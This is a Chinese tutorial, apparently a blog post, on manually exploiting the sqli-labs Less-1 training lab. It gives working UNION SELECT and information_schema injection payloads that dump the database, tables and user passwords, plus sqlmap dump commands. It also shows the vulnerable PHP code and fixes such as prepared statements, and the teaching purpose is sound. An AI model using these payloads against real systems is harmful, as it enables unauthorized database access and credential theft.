2026/10/16 16:28:44

SQL注入入门实战:sqli-labs Less-1手工注入全流程解析

SQL注入入门实战:sqli-labs Less-1手工注入全流程解析 1. 靶场环境准备与Less 1初识1.1 为什么选sqli-labs当第一个SQL注入靶场很多刚接触Web安全的朋友问我同一个问题入门SQL注入到底该拿什么练手我给的答案几乎永远是同一条路——先把sqli-labs的Less 1到Less 10撸一遍。原因很简单。sqli-labs这套靶场最大的优点不是难度高而是每一关的目标极其单一甚至刻意到教学大纲的程度。Less 1就是教你怎么打一次最经典、最基础的字符型单引号注入。你不需要考虑WAF、不需要猜过滤规则、不需要处理复杂的编码问题所有干扰项都被作者去掉了剩下的就是一个最朴素的注入链路。这种裸奔环境对建立肌肉记忆非常有帮助等你把Less 1到Less 4的闭合方式差异吃透后面遇到真实系统里千奇百怪的拼接逻辑脑子里的第一反应就是往闭合-逃逸-构造这个方向走而不是拿一堆payload盲目试探。也有人一上来就开sqlmap扫扫完拿到数据还挺高兴。我不是说工具不行工具是效率利器但前提是你得知道它每一步在干什么。你要是连为什么加个单引号就会报错为什么union后面要接select 1,2,3都没弄明白那工具对你来说就是个黑盒早晚会在真实战里翻车。1.2 环境搭建与工具准备sqli-labs是基于PHP和MySQL的所以你需要一个能跑PHP的环境。这里我给一套我一直在用的轻量组合PHP环境我用的是phpstudyWindows下点几下就能启一个ApachePHPMySQL的集成环境省去手动配置的折腾。靶场源码下载sqli-labs项目压缩包解压后放到网站根目录我用的是默认的/sqli-labs路径。浏览器Chrome或Firefox都行我习惯Chrome方便看开发者工具里的网络请求。Burp Suite社区版就够用后面想分析原始HTTP请求时很方便。不过Less 1这个量级不用Burp也能完成我建议初学阶段先别看Burp专心盯浏览器地址栏就够了。安装时有两个细节容易踩坑提前说第一phpstudy默认的MySQL端口是3306sqli-labs的配置文件一般在/sqli-labs/sql-connections/db-creds.inc里默认的用户名密码是root和root。如果你本机MySQL密码不是这个直接改这个文件就行别去动数据库本身的配置。第二启动靶场后首页会有一个创建数据库的按钮或者setup链接点击完成初始化。Less 1用的库叫security里面有users、emails、referers几个表后续爆库爆表就是拿这些数据练手。环境OK之后打开浏览器访问http://127.0.0.1/sqli-labs/Less-1/你会看到一个很大的标题写着Less 1下面是一个输入框提示你输入ID。输入?id1页面会显示用户名和密码两行内容。这就是Less 1的全部界面也是你接下来要攻击的目标。1.3 认识Less 1的页面结构先别急着上手打观察一下这个页面。在地址栏输入?id1页面返回内容大概是这样的Your Login name: Dumb Your Password: Dumb输入?id2变成Your Login name: Angelina Your Password: I-kill-you也就是说页面接收id参数然后从数据库某张表里查出对应的用户名和密码回显到页面上。这个根据输入动态查数据库再回显的模式就是SQL注入的温床。你在地址栏输入的所有内容最终都会被拼接到SQL语句里而Less 1恰恰是拿你输入的内容直接拼接没有做任何过滤。到这里第一关的全貌已经清楚了。接下来我们进入原理部分搞清楚你输入的字符在SQL语句里到底发生了什么。2. SQL注入的核心原理引号闭合与语句逃逸2.1 动态SQL拼接的隐患Less 1的PHP代码逻辑本质上就是一段字符串拼接的SQL查询类似这样$sql SELECT * FROM users WHERE id$id LIMIT 0,1;注意看这个SQL的结构。id$id里的$id是你通过URL传入的id参数值而是SQL里的字符串定界符。也就是说服务端认为用户传进来的id应该是一个字符串类型所以用单引号把它包起来。问题来了如果$id这个值本身就包含单引号比如你传的是1那么最终拼接出来的SQL变成SELECT * FROM users WHERE id1 LIMIT 0,1数据库一解析id1然后后面多出来一个单引号语法直接报错。MySQL的报错信息会暴露在页面上而这就是注入的起点。用生活化的方式理解一下吧。你把SQL语句当成一句完整的话单引号是这句话里的引号——用来表示一段引文。你传入的内容被塞进这句话里之后如果你在内容里也放了一个引号就等于把这句话的引文提前闭合了后面的内容就变成了你自由发挥的余地。这种提前闭合引号再插入自己想要的内容的操作在注入里有个经典叫法——闭合与逃逸。你闭合了原本的字符串同时让自己的SQL片段逃逸出字符串的边界成为真正的SQL逻辑。2.2 字符型与数字型注入的区别看到id$id和id$id的区别了吗前者是字符型注入后者是数字型注入。Less 1是字符型这也是为什么Less 1通常被拿来当第一关——字符型注入比数字型多一个闭合的步骤理解了这个步骤后面很多变种都迎刃而解。数字型注入的SQL理论上是SELECT * FROM users WHERE id$id LIMIT 0,1这种写法下你传id1 and 11SQL就变成WHERE id1 and 11没有引号问题直接成立。而字符型注入必须考虑你怎么让SQL语句里的引号成对匹配不留语法错误。Less 1用的是字符型所以你的思路应该是我传一个让原本的1闭合掉一个引号同时通过注释符--或#把SQL最后的 LIMIT 0,1屏蔽掉让整条语句在语法上自洽。2.3 单引号闭合的完整过程这里我把闭合过程画成一个逐步演化的过程方便你理解原始SQLSELECT * FROM users WHERE id$id LIMIT 0,1你在URL里传入id1实际拼接SELECT * FROM users WHERE id1 LIMIT 0,1括号里其实是这样id后面是一个字符串内容为1再跟着一个。数据库看到1这个字符串结束之后又来了一个单引号语法错误报错。然后你传入id1 --注意--在MySQL里是注释符在某些情况下被当作空格处理。实际拼接SELECT * FROM users WHERE id1 -- LIMIT 0,1这时候数据库把--后面的内容全部当成注释忽略SQL语句变成SELECT * FROM users WHERE id1语法完全正确查询正常执行。而你现在已经成功地把原有SQL的闭合控制在自己手里了后面想接什么都行。这个就是Less 1最核心的机制。提示如果--不生效可以试试--注意后面要有空格或#。URL里直接传#可能需要编码成%23否则浏览器和部分服务端会把它当锚点或特殊字符处理。到这里原理吃透了下面进入真正的实战环节——手工注入的完整流程。3. 手工注入完整实操从报错到拖库一步步来3.1 第一步探测是否存在注入点打开Less 1页面先输入正常参数?id1确认页面正常显示。接下来在地址栏输入http://127.0.0.1/sqli-labs/Less-1/?id1页面会变成类似这样的报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1 at line 1看这个报错信息量非常大。它透露出两件事第一参数直接拼接进了SQL语句程序没有进行任何过滤否则不会裸报语法错误。第二报错内容中的1 LIMIT 0,1这一段暴露了SQL的尾部结构你能看到LIMIT 0,1这个分页限制。这种能看到原始SQL片段的情况在真实渗透里属于高价值信息泄露。既然报错确认了注入点存在接下来试试?id1 --页面恢复默认显示说明注释符成功屏蔽了末尾的单引号我们的闭合思路正确。3.2 第二步用ORDER BY确定字段数注入点确认了现在要搞清楚查询返回了几个字段。这一步通常用ORDER BY来做。ORDER BY是SQL里按指定列排序的子句它的特点是你可以按列的序号来排序比如ORDER BY 1就是按第1列排ORDER BY 2就是按第2列排。如果序号超出了实际列数数据库会报错这就给了我们探测列数的方法。在URL里依次尝试http://127.0.0.1/sqli-labs/Less-1/?id1 ORDER BY 1 -- http://127.0.0.1/sqli-labs/Less-1/?id1 ORDER BY 2 -- http://127.0.0.1/sqli-labs/Less-1/?id1 ORDER BY 3 --ORDER BY 1、ORDER BY 2、ORDER BY 3页面都正常。继续试ORDER BY 4http://127.0.0.1/sqli-labs/Less-1/?id1 ORDER BY 4 --页面报错。这就说明当前SELECT语句实际返回3列ORDER BY 4超出了范围。这一步的判断逻辑总结成一个速查表探测语句页面表现结论id1 ORDER BY 1 --正常回显有第1列id1 ORDER BY 2 --正常回显有第2列id1 ORDER BY 3 --正常回显有第3列id1 ORDER BY 4 --SQL报错当前查询最多3列注意ORDER BY的列号是从1开始数的不是从0开始。不少新手上来就试ORDER BY 0完全是给自己找麻烦。3.3 第三步用UNION SELECT确认回显位置知道有3列之后下一个问题这3列在页面上分别显示在哪里换句话说哪一列的内容是会回显到页面的这一步用UNION SELECT来测。UNION操作符可以把两个SELECT查询的结果合并成一个结果集。我们需要让第一个查询也就是原本的结果为空从而让第二个查询我们自己构造的结果回显到页面上。怎么让第一个查询结果为空把id改成不存在的一个负数比如-1。构造URLhttp://127.0.0.1/sqli-labs/Less-1/?id-1 UNION SELECT 1,2,3 --页面上会显示类似Your Login name: 2 Your Password: 3观察一下数字2显示在了用户名位置数字3显示在了密码位置数字1没有显示出来。这说明查询结果的第2列对应页面上的用户名回显位第3列对应密码回显位第1列虽然存在于查询中但页面没有展示。知道了回显位后面爆数据就非常顺畅。我们把第2列和第3列替换成需要的查询内容页面就会输出结果。3.4 第四步爆库名接下来要摸清楚数据库里有什么。先从最顶层的库名开始。把刚才UNION SELECT 1,2,3里的2换成database()函数database()会返回当前使用的数据库名http://127.0.0.1/sqli-labs/Less-1/?id-1 UNION SELECT 1,database(),3 --页面上的用户名位置会显示security。这就是当前数据库名。这一步很多人会忽略其意义觉得爆库名而已有什么大不了的。但实际上库名是后续访问information_schema的钥匙。information_schema是MySQL自带的元数据库里面存了所有数据库、表名、列名的元信息。有了库名你才能精确过滤出这个库里有哪些表、哪些列。3.5 第五步爆表名拿到库名security之后接着查这个库里有哪些表。表的元信息存在information_schema.tables里关键字段是table_schema和table_name。构造URLhttp://127.0.0.1/sqli-labs/Less-1/?id-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schemasecurity --等一下这里有坑。如果你直接这样写返回的只有一行数据——因为页面只显示查询结果的第一行。而你需要的是所有表名所以得用GROUP_CONCAT把多行结果合并成一行或者用LIMIT 0,1一页一页翻。我推荐用GROUP_CONCAT一次看全http://127.0.0.1/sqli-labs/Less-1/?id-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schemasecurity --页面会输出类似Your Login name: emails,referers,uagents,users说明security库里有4张表。重点关注users表——从名字就能看出里面大概率存着用户名和密码。3.6 第六步爆字段名接着查users表里有哪些列。列名信息存在information_schema.columns里关键字段是table_name和column_name。构造URLhttp://127.0.0.1/sqli-labs/Less-1/?id-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_nameusers --页面输出类似Your Login name: id,username,passwordusers表有3列id、username、password。非常简单清晰跟页面展示的逻辑完全对得上。3.7 第七步爆数据最后一步把users表里的username和password字段内容拖出来。一次拖全部数据用GROUP_CONCAT合并成一行http://127.0.0.1/sqli-labs/Less-1/?id-1 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --页面输出Your Login name: Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 Your Password: Dumb,I-kill-you,pssword,crappy,stupid,genius,mob!#$%,admin,admin1,admin2,admin3,dumbo,admin4到这里Less 1的完整注入链路已经打通从探测注入点到确定字段数再到利用回显位置最终拿到数据库的所有敏感数据。整个过程没有用到任何自动化工具全部手工完成。这个七步链路是整个SQL注入入门阶段最重要的路线图。什么order by、union select、database()、information_schema这些看似零散的知识点在这一条链路上全部串联起来了。4. 源码视角复盘为什么Less 1会裸奔4.1 看PHP源码找到漏洞根因打了这么久该看看源码了。打开sqli-labs目录下的Less-1/index.php核心代码大概长这样$id $_GET[id]; $sql SELECT * FROM users WHERE id$id LIMIT 0,1; $result mysqli_query($con, $sql); $row mysqli_fetch_array($result); if ($row) { echo Your Login name: . $row[username]; echo Your Password: . $row[password]; } else { echo 查询失败; }看明白了吗这代码的问题一目了然$_GET[id]直接被拼进SQL字符串没有任何过滤、转义或类型校验。报错信息直接输出给前端没有做错误处理。回显数据直接输出没有做输出编码。简单说这是一个输入不过滤、错误不隐藏、输出不处理的三无代码。Less 1作为教学靶场刻意保留了最原始、最脆弱的写法就是为了让你清楚看到漏洞是怎么产生的。4.2 模拟一次完整的语句构造过程我来把最终拿到数据的那个请求在后台到底变成什么样写一遍。你发的URL参数是id-1 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --PHP拼接后的完整SQL语句是SELECT * FROM users WHERE id-1 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users -- LIMIT 0,1分析一下这条语句的演化id-1原来的查询条件因为-1在表里不存在所以第一个查询返回空集。UNION SELECT ...UNION把第二个查询结果合并进来因为第一个查询是空集所以最终显示的就是第二个查询的结果。--把原本SQL末尾的 LIMIT 0,1注释掉防止语法报错。三个动作缺一不可。少了-1第一个查询会返回一行数据你写的union结果就在第二行页面不一定显示少了UNION SELECT你没法构造自己的查询少了--语句语法不完整直接报错。这就是我前面说的闭合与逃逸三要素让原查询落空、插入自己的查询、注释掉多余尾巴。4.3 从Less 1反推防御手段很多新手打完靶场就过去了但我建议多一步逆向思考如果让你来修复这个漏洞你会怎么做最直接的办法是使用预处理语句。PHP里用PDO的话可以这样写$stmt $pdo-prepare(SELECT * FROM users WHERE id ? LIMIT 0,1); $stmt-execute([$_GET[id]]);预处理语句会把SQL逻辑和参数数据分离开你传入的单引号、union、注释符全都被当成数据来处理永远不会逃逸成SQL逻辑。这是目前最有效的防注入手段之一。另一个办法是在输入侧做类型校验。比如id本意是数字那就强制转成整数$id (int)$_GET[id];这样一来你传什么1 UNION SELECT都没用因为(int)强转会把它变成0或1。Less 1为什么不防因为它要教学。理解了这个不防御的版本你才能明白防御到底在防什么、怎么防、为什么有效。5. 实战中的常见问题与排查技巧实录5.1 按教程加单引号页面却没报错如果你是照着教程一步步来的但在?id1这一步没有看到红色报错页面反而正常显示或者空白了那大概率是你的环境设置有问题。最常见的原因有两个第一你的PHP版本开了magic_quotes_gpc。这是一个古老的PHP配置会自动对GET/POST里的特殊字符加反斜杠转义导致你传的变成\数据库收到的就是普通字符串不会触发语法错误。这个配置在PHP 5.4之后默认移除了但如果你在旧环境里跑一定要去php.ini确认它是关闭的。第二你访问的根本不是Less 1的页面或者数据库没初始化。确认一下地址栏是不是Less-1目录以及是否执行过sql-connections里的初始化SQL。5.2 UNION SELECT回显是空白这个问题我见新手问过最多。明明UNION SELECT 1,2,3了页面上什么都没有。先别急按顺序排查确认原查询是否真的为空。id-1查不到数据页面才有空位显示union的结果如果id1能查到数据union的结果排在第二行页面只显示第一行你当然看不到。确认字段数是否真的对。UNION要求两个SELECT返回的列数一致Less 1是3列你写UNION SELECT 1,22列和3列合并会直接报错。确认注释符是否生效。--在有些浏览器或代理环境下可能被改写换成%23即#试试。5.3 ORDER BY和UNION SELECT的报错要区分看有的新手会把ORDER BY报错和UNION报错混为一谈。实际上这两种报错代表完全不同的问题ORDER BY 4报错说明查询的列数小于4你在用ORDER BY探测列数。UNION SELECT 1,2,3,4报错说明两个SELECT的列数不一致你要么多写要么少写了列数。两者虽然都会报错但排查方向完全不同。搞不清这个调试的时候会走很多弯路。5.4 information_schema查询不出数据如果前面都正常但在查information_schema.tables时页面空白可能是权限问题。当前数据库用户对information_schema有访问权限但在某些配置下可能对具体表的元数据不可见。Less 1默认用的root用户一般不会遇到这个问题。如果你改了数据库用户记得确保该用户至少有SELECT权限。另外别忘了table_schemasecurity里的是库名必须加单引号。有些新手把security当数字传SQL变成table_schemasecurityMySQL会把它当成列名那肯定查不出来。5.5 URL里的特殊字符被浏览器吃掉这是很多初学阶段容易被绕晕的问题。在URL地址栏直接输入#浏览器会把它当锚点后面的内容根本不会发到服务器。所以传#注释符时要么用%23要么改用--。还有一个细节号在URL里会被解析为空格。所以你传--实际发给服务端的可能是--两个减号加一个空格。这其实没问题因为MySQL的--注释符本来就需要后面跟一个空格。很多人不理解为什么payload里要写而不是空格这就是原因——URL里面空格会被当成%20而经常被自动转成空格。5.6 问题排查速查表现象可能原因检查方法加单引号不报错magic_quotes_gpc开启查看phpinfo确认配置UNION不回显原查询未置空把id改为-1或不存在值UNION报错列数不一致回到ORDER BY确定列数注释不生效注释符被URL转义改用%23或调整编码information_schema空白权限不足或库名写错检查用户权限、核对引号页面大量空白PHP报错被隐藏打开php display_errors开关这张表我每次带新人都打印一份照着排查基本能解决Less 1阶段90%的问题。6. 打完Less 1之后扩展思路与下一步路径6.1 用sqlmap做一次交叉验证手工注入打通之后建议再用sqlmap打一遍目的不是偷懒而是交叉验证。你手工操作时对每个步骤的理解拿到自动化工具的输出一对比会非常直观。比如sqlmap会输出注入类型、payload、数据内容你可以对照自己手工拿到的库名、表名、数据看是否一致。Less 1上sqlmap的用法很简单可以这样跑sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --dbs先爆库名再指定库名爆表名sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security --tables最后拖数据sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security -T users --dump如果sqlmap跑出来的结果跟你手工注入的完全一致说明你的注入链路没问题同时也说明你理解了工具背后的原理。6.2 跟Less 2、Less 3对比理解闭合方式的演变打完Less 1别急着跳难度先把Less 2和Less 3各打一遍然后对比三关的SQL拼接差异Less 1WHERE id$id字符型单引号闭合。Less 2WHERE id$id数字型不需要闭合引号。Less 3WHERE id($id)字符型单引号加括号。你会发现Less 3的报错信息跟Less 1不一样它多了一个括号因此你的闭合手法也要跟着变需要额外补一个右括号。这个从报错信息里反推SQL结构的能力就是Less 3和Less 4想训练你的核心点。6.3 从靶场到真实环境的思维升级最后我只说一句最关键的靶场是教你原理真实环境的挑战在于变种。Less 1的裸奔SQL拼接在今天几乎不存在了但它的变种到处都是——单引号被转义、关键词被过滤、参数被强制类型转换、输出被编码。每学一个新绕过技巧都回来想一想如果Less 1加了这个过滤我该用什么姿势打这样练下来SQL注入才算真正入了门。我自己带过不少新人凡是能把Less 1到Less 4的闭合差异、注入链路、information_schema的查询逻辑讲明白的人后面学二阶注入、宽字节注入、堆叠注入都会特别快。反之那些只拿sqlmap扫着玩的人遇到一个带WAF的目标就直接卡死因为他不知道绕过WAF的payload到底在绕过什么东西。Less 1这关在整个sqli-labs里只是冰山一角但它的价值恰恰体现在基础两个字上。基础打得牢后面才会走得远。